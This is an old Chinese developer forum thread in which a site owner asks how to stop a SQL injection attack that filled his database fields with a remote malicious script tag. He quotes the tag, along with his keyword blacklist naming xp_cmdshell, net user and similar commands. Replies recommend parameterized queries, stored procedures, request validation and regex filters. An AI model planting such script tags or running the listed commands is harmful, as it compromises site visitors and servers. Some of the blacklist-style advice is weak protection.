首页 新闻 赞助 找找看

这几天公司网站老受sql注入攻击,请问给位有没有好的方法来防御sql注入攻击?

0
悬赏园豆:20 [已解决问题] 解决于 2009-08-14 11:49

公司的网站使用ASP.NET2.0+SQL2000做的,这几天老受sql注入攻击,数据库中80%的表字段类型为text的内容都被<script src=http://252a.cn/1.js></script>这样的木马代码给覆盖了,我在Global.asax文件中加了过滤特殊字符的代码,如把像;|-|select|insert|delete|from|drop table|update|truncate|xp_cmdshell|exec master|netlocalgroup administrators|:|net user|""|or|and这样的字符都过滤掉了还是不行,请问各位关于sql注入攻击有没有什么好的防御方法,我用触发器试了下,但好像对text这样类型的字段不管用,而我数据库中有关内容显示的都是用的text类型,

liangjer的主页 liangjer | 初学一级 | 园豆:0
提问于:2009-08-10 19:45
< >
分享
最佳答案
0

如果可以该程序的话,最好改成使用参数SQL,如果不想改程序的话,你可以看一下我这篇blog:

http://www.cnblogs.com/killkill/archive/2009/02/26/1398524.html

不过正则表达式需要改成:

.*((;.*update(\s|\*/|/\*).*\w+.*(\s|\*/|/\*)set(\s|\*/|/\*).+=.+)|(;.*delete(\s|\*/|/\*).*from(\s|\*/|/\*).+\w+)|(.*select(\s|\*/|/\*).*\w+.*(\s|\*/|/\*)from(\s|\*/|/\*).*)|(;.*(drop|alter|truncate|create)(\s|\*/|/\*).*table(\s|\*/|/\*).*\w+)|(;.*declare.*cursor.*)|(;.*declare.*set.*exec.*)).*

收获园豆:20
killkill | 小虾三级 |园豆:1192 | 2009-08-11 11:47
其他回答(11)
0

这种类型攻击不一定是诸如,或者说注入的可能性很小···

我们也碰到过这种问题··

后来查明原因是机房受到内部ARP病毒影响···还有挂马攻击··

仅作参考·

LeeNet | 园豆:210 (菜鸟二级) | 2009-08-10 20:01
但是服务器上有好几个公司的网站,就只有一个受到了攻击,我把数据库还原到备份的数据库(备份的没木马),过不了几分钟数据库里面又插满了木马,和服务器托管商联系了好几次,他说不是服务器的是,是网站的程序本身有sql注入漏洞,但是我不知道漏洞出在哪,就在Global.asax文件Application_BeginRequest的方法中过滤表单和Request.QueryString中的特殊字符和一些有关查询之类的单词,但是不管用
支持(0) 反对(0) liangjer | 园豆:0 (初学一级) | 2009-08-10 20:13
0

Web.Config中:

<?xml version="1.0" encoding="gb2312" ?>
<configuration>
<system.web>
<pages validaterequest="true"/>
</system.web>
</configuration>

 

然后在特定的你需要输入“<>”一类字符的页面头部声明:

<%@ page validaterequest="false" language="c#" codebehind="index.aspx.cs" autoeventwireup="false" inherits="mybbs.webform1" %>

 

这样你可以全面屏蔽此类输入,并且可以在后台关闭这种验证,以实现一些管理员的输入操作。

 

当然,最好的办法还是改写一下你的数据库访问代码,使用参数化的SQL命令访问数据库。

斯克迪亚 | 园豆:4124 (老鸟四级) | 2009-08-10 22:53
0

你的sql全部用存储过程,而不用拼起来的sql语句,这是最正确的解决方案

此外,页面添加验证码。还有查一下网站目录有没有残留的木马

邀月 | 园豆:25475 (高人七级) | 2009-08-11 09:54
0

这是利用Sql加密数据进行的新注入方式,你可以过滤%也可以过滤DEclare

James.Ying | 园豆:1472 (小虾三级) | 2009-08-11 10:09
0

sql语句用存储过程

Wythe | 园豆:56 (初学一级) | 2009-08-11 10:15
0

查看iis日志,确定是否是sql注入。如果是注入,关闭网站的错误提示,修补程序漏洞(试试用httpmodule或者在global中拦截客户请求)。

如果是arp,在server上安装arp防火墙,比如360安全卫士,然后开启360的arp防火墙。

zyip | 园豆:195 (初学一级) | 2009-08-11 11:52
<
支持(0) 反对(0) 朱子 | 园豆:200 (初学一级) | 2009-08-11 14:50
怎么从IIS日志中能看出是sql注入呢还是arp?
支持(0) 反对(0) liangjer | 园豆:0 (初学一级) | 2009-08-11 18:23
0

Global.asax怎么过滤的?

如果网站规模不大,就改每个文本框的输入字段的过滤,用正则表达式把<和>替换成&lt;&gt;就行了。

如果网站规模很大,全部改有困难,就改数据访问层代码,把所有字符型数据都过滤一遍。

建议增加日志功能,把攻击者的IP查出来,配合警方打击攻击者。

灰灰狼 | 园豆:5 (初学一级) | 2009-08-11 12:53
0

以前就听说这个东西很恐怖,做网站时,都用的存储过程!

木白 | 园豆:180 (初学一级) | 2009-08-11 15:43
0

防止sql注入,所有的数据操作的方法,用存储过程。ok

邢少 | 园豆:10926 (专家六级) | 2009-08-11 16:32
0

检查每个Request

数字的用int.Parse

字符串的要过滤,建议用下面这个:

public static string InputText(string text, int maxLength)
        {

            if (!string.IsNullOrEmpty(text))
            {
                text = text.Trim();
                if (text.Length > maxLength)
                {
                    text = text.Substring(0, maxLength);
                }
                text = Regex.Replace(text, "[\\s]{2,}", " "); //two or more spaces
                text = Regex.Replace(text, "(<[b|B][r|R]/*>)+|(<[p|P](.|\\n)*?>)", "\n"); //<br>
                text = Regex.Replace(text, "(\\s*&[n|N][b|B][s|S][p|P];\\s*)+", " "); //&nbsp;
                text = Regex.Replace(text, "<(.|\\n)*?>", string.Empty); //any other tags
                text = text.Replace("'", "‘");
                return text;
            }
            else
            {
                return string.Empty;
            }
        }

红尘中迷茫 | 园豆:60 (初学一级) | 2009-08-11 19:19
0

SQL语句最好还是参数化吧,另外多用存储过程。

webaspx | 园豆:1973 (小虾三级) | 2009-08-14 09:03
清除回答草稿
   您需要登录以后才能回答,未注册用户请先注册